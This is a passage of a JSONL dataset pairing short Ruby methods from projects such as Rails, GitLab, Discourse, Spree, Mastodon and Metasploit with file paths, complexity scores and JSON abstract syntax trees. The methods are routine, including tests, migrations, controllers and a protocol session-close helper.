data_changes\\n\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"associations\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"association\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"FULL JOIN\\n\"]},{\"type\":\"str\",\"children\":[\"  (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"changes_sql\"]}]},{\"type\":\"str\",\"children\":[\") \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"_changes\\n\"]},{\"type\":\"str\",\"children\":[\"ON\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"_changes.journable_id = data_changes.journable_id\\n\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}","id":"ade74026-1bc6-436b-abe6-948f60b28d8d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/select_test.rb","start_line":172,"raw_source":"def test_type_casted_extra_select_with_eager_loading\n      posts = Post.select(\"posts.id * 1.1 AS foo\").eager_load(:comments)\n      assert_equal 1.1, posts.first.foo\n    end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_type_casted_extra_select_with_eager_loading\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"posts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"select\",{\"type\":\"str\",\"children\":[\"posts.id * 1.1 AS foo\"]}]},\"eager_load\",{\"type\":\"sym\",\"children\":[\"comments\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"float\",\"children\":[1.1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"first\"]},\"foo\"]}]}]}]}","id":"eec10c0f-c274-46b5-98e3-02e604997109"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/snippet.rb","start_line":197,"raw_source":"def get_sharing_link\n          click_element('code-button')\n          Git::Location.new(find_element('copy-share-url-button')['data-clipboard-text']).uri.to_s\n        end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_sharing_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"code-button\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Git\"]},\"Location\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_element\",{\"type\":\"str\",\"children\":[\"copy-share-url-button\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"data-clipboard-text\"]}]}]},\"uri\"]},\"to_s\"]}]}]}","id":"a9ce73b9-946d-4947-b4fb-737d50a60763"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/email/sender.rb","start_line":341,"raw_source":"def self.host_for(base_url)\n      host = \"localhost\"\n      if base_url.present?\n        begin\n          uri = URI.parse(base_url)\n          host = uri.host.downcase if uri.host.present?\n        rescue URI::Error\n        end\n      end\n      host\n    end","complexity_score":15.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"host_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"str\",\"children\":[\"localhost\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_url\"]},\"present?\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"base_url\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"host\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"host\"]},\"downcase\"]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"Error\"]}]},null,null]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}","id":"9862934d-8814-4657-8b0a-49c1b0647fb7"}
{"repo_name":"aasm","file_path":"./repos/aasm/spec/models/complex_example.rb","start_line":215,"raw_source":"def has_activation_code?\n    !!@activation_code\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_activation_code?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@activation_code\"]},\"!\"]},\"!\"]}]}","id":"05277a7a-410e-4214-9a94-9c8165036808"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/afp/client.rb","start_line":94,"raw_source":"def close_session\n          packet =  \"\\00\"              # Flag: Request\n          packet << \"\\x01\"             # Command: DSICloseSession\n          packet << [next_id].pack('n')    # requestID\n          packet << \"\\x00\\x00\\x00\\x00\" #Data offset\n          packet << \"\\x00\\x00\\x00\\x00\" #Length\n          packet << \"\\x00\\x00\\x00\\x00\" #Reserved\n\n          sock.put(packet)\n        end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"close_session\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"packet\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0001\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_id\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"packet\"]}]}]}]}","id":"98994400-bb2d-4444-b538-e3fd1512db64"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/ipynbdiff/lib/ipynb_diff/output_transformer.rb","start_line":47,"raw_source":"def transform_element(output_type, output_element, symbol_prefix)\n      new_symbol = symbol_prefix / output_type\n      case output_type\n      when 'image/png', 'image/jpeg'\n        transform_image(\"#{output_type};base64\", output_element, new_symbol)\n      when 'image/svg+xml'\n        transform_image(\"#{output_type};utf8\", output_element, new_symbol)\n      when 'text/markdown', 'text/latex', 'text/plain', 'text'\n        transform_text(output_element, new_symbol)\n      end\n    end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"transform_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"output_type\"]},{\"type\":\"arg\",\"children\":[\"output_element\"]},{\"type\":\"arg\",\"children\":[\"symbol_prefix\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_symbol\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"symbol_prefix\"]},\"/\",{\"type\":\"lvar\",\"children\":[\"output_type\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"image/png\"]},{\"type\":\"str\",\"children\":[\"image/jpeg\"]},{\"type\":\"send\",\"children\":[null,\"transform_image\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_type\"]}]},{\"type\":\"str\",\"children\":[\";base64\"]}]},{\"type\":\"lvar\",\"children\":[\"output_element\"]},{\"type\":\"lvar\",\"children\":[\"new_symbol\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"image/svg+xml\"]},{\"type\":\"send\",\"children\":[null,\"transform_image\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_type\"]}]},{\"type\":\"str\",\"children\":[\";utf8\"]}]},{\"type\":\"lvar\",\"children\":[\"output_element\"]},{\"type\":\"lvar\",\"children\":[\"new_symbol\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"text/markdown\"]},{\"type\":\"str\",\"children\":[\"text/latex\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"str\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"transform_text\",{\"type\":\"lvar\",\"children\":[\"output_element\"]},{\"type\":\"lvar\",\"children\":[\"new_symbol\"]}]}]},null]}]}]}","id":"58e2b00e-d3ae-4705-b9f3-a663e49be81d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/release_environment/construct-release-environments-versions.rb","start_line":88,"raw_source":"def security_omnibus_stable_branch\n    # Transform RC tags to stable branch format\n    ref_name = ENV['CI_COMMIT_REF_NAME']&.match(/^v?([\\d]+)\\.([\\d]+)\\.[\\d]+-rc\\d+-ee$/)\n\n    if ref_name\n      major = ref_name[1]\n      minor = ref_name[2]\n\n      \"#{major}-#{minor}-stable\"\n    else\n      ENV['CI_COMMIT_BRANCH'].gsub(\"-ee\", \"\")\n    end\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"security_omnibus_stable_branch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ref_name\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_COMMIT_REF_NAME\"]}]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^v?([\\\\d]+)\\\\.([\\\\d]+)\\\\.[\\\\d]+-rc\\\\d+-ee$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref_name\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"major\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref_name\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"minor\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref_name\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"major\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minor\"]}]},{\"type\":\"str\",\"children\":[\"-stable\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_COMMIT_BRANCH\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"-ee\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"952c7b91-3a92-4a3a-8491-41b530752c6f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/select_test.rb","start_line":60,"raw_source":"def test_select_with_hash_with_not_exists_field\n      q = -> name { Regexp.escape(quote_table_name(name)) }\n      expected = %r/\\ASELECT #{q[\"posts.bar\"]} AS #{q[\"post_title\"]} FROM/\n      assert_match expected, Post.select(posts: { bar: :post_title }).to_sql\n\n      assert_raises(ActiveRecord::StatementInvalid) do\n        Post.select(posts: { boo: :post_title }).take\n      end\n    end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_with_hash_with_not_exists_field\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"q\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\ASELECT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q\"]},\"[]\",{\"type\":\"str\",\"children\":[\"posts.bar\"]}]}]},{\"type\":\"str\",\"children\":[\" AS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q\"]},\"[]\",{\"type\":\"str\",\"children\":[\"post_title\"]}]}]},{\"type\":\"str\",\"children\":[\" FROM\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"select\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"posts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bar\"]},{\"type\":\"sym\",\"children\":[\"post_title\"]}]}]}]}]}]},\"to_sql\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StatementInvalid\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"select\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"posts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"boo\"]},{\"type\":\"sym\",\"children\":[\"post_title\"]}]}]}]}]}]},\"take\"]}]}]}]}","id":"7ba6c1a5-a74a-4029-82c3-ec9a8a845f6a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240604111157_add_approval_policy_rules_fk_on_approval_group_rules.rb","start_line":9,"raw_source":"def up\n    add_concurrent_index :approval_group_rules, :approval_policy_rule_id, name: INDEX_NAME\n    add_concurrent_foreign_key :approval_group_rules, :approval_policy_rules,\n      column: :approval_policy_rule_id,\n      on_delete: :cascade\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"approval_group_rules\"]},{\"type\":\"sym\",\"children\":[\"approval_policy_rule_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"sym\",\"children\":[\"approval_group_rules\"]},{\"type\":\"sym\",\"children\":[\"approval_policy_rules\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"approval_policy_rule_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]}","id":"ad2ebf38-312b-4e39-af18-497a1bacd4bb"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/assets_controller.rb","start_line":6,"raw_source":"def create\n        @asset = asset_type.new(permitted_resource_params)\n\n        # we only should check this for vendor users\n        authorize! :update, @asset.viewable if @asset.viewable.present? && current_vendor\n\n        if @asset.save\n          # we need to store the asset ids in the session for new assets to be able to display them\n          store_uploaded_asset_in_session(@asset, @asset.viewable_type) if @asset.viewable.nil? || @asset.viewable.new_record?\n        else\n          flash.now[:error] = @asset.errors.full_messages.to_sentence\n          render :create, status: :unprocessable_entity\n        end\n      end","complexity_score":33.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@asset\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asset_type\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"permitted_resource_params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@asset\"]},\"viewable\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"current_vendor\"]}]},{\"type\":\"send\",\"children\":[null,\"authorize!\",{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@asset\"]},\"viewable\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@asset\"]},\"save\"]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@asset\"]},\"viewable\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@asset\"]},\"viewable\"]},\"new_record?\"]}]},{\"type\":\"send\",\"children\":[null,\"store_uploaded_asset_in_session\",{\"type\":\"ivar\",\"children\":[\"@asset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@asset\"]},\"viewable_type\"]}]},null]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"now\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@asset\"]},\"errors\"]},\"full_messages\"]},\"to_sentence\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}]}","id":"b1c9d206-e88f-443b-bc3b-1b4686d70f19"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/ci/job_type.rb","start_line":229,"raw_source":"def id\n        return unless object.id.present?\n\n        model_name = object.type || ::CommitStatus.name\n        id = object.id\n        Gitlab::GlobalId.build(model_name: model_name, id: id)\n      end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"model_name\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"CommitStatus\"]},\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GlobalId\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_name\"]},{\"type\":\"lvar\",\"children\":[\"model_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}]}","id":"fa671b92-d0ea-43ed-a114-3d0e4b8f1898"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/cached_counting.rb","start_line":179,"raw_source":"def perform_increment!(key, async: false)\n        if async\n          CachedCounting.ensure_thread!\n          CachedCounting.queue(key, self)\n        else\n          CachedCounting.queue(key, self)\n          CachedCounting.clear_flush_to_db_lock!\n          CachedCounting.flush_in_memory\n          CachedCounting.flush_to_db\n        end\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_increment!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"kwoptarg\",\"children\":[\"async\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"async\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CachedCounting\"]},\"ensure_thread!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CachedCounting\"]},\"queue\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CachedCounting\"]},\"queue\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CachedCounting\"]},\"clear_flush_to_db_lock!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CachedCounting\"]},\"flush_in_memory\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CachedCounting\"]},\"flush_to_db\"]}]}]}]}","id":"d4e9a7cd-4eb5-489c-a28d-b19a85b8069e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb","start_line":15,"raw_source":"def json_to_hash(response_wrapper)\n    body = response_wrapper.response_body\n    if !body.nil? && !body.empty?\n      parsed_body = JSON.parse(body, symbolize_names: true)\n\n      if response_wrapper.is_a?(Metasploit::Framework::DataService::RemoteHTTPDataService::SuccessResponse)\n        parsed_body[:data]\n      elsif response_wrapper.is_a?(Metasploit::Framework::DataService::RemoteHTTPDataService::ErrorResponse)\n        # raise a local exception with the message of the server-side error\n        raise parsed_body[:error][:message]\n      end\n    elsif response_wrapper.is_a?(Metasploit::Framework::DataService::RemoteHTTPDataService::FailedResponse)\n      raise response_wrapper.to_s\n    else\n      raise 'empty response'\n    end\n  end","complexity_score":28.3,"ast_json":"{\"type\":\"def\",\"children\":[\"json_to_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response_wrapper\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_wrapper\"]},\"response_body\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_body\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_names\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_wrapper\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"DataService\"]},\"RemoteHTTPDataService\"]},\"SuccessResponse\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_body\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_wrapper\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"DataService\"]},\"RemoteHTTPDataService\"]},\"ErrorResponse\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_body\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_wrapper\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"DataService\"]},\"RemoteHTTPDataService\"]},\"FailedResponse\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_wrapper\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"empty response\"]}]}]}]}]}]}","id":"90276116-d8e6-4701-b909-7e50be482491"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/concerns/payloadable.rb","start_line":27,"raw_source":"def signing_enabled?\n    !authorized_fetch_mode?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"signing_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized_fetch_mode?\"]},\"!\"]}]}","id":"a944b249-dafb-44ee-bf67-13d15193712d"}
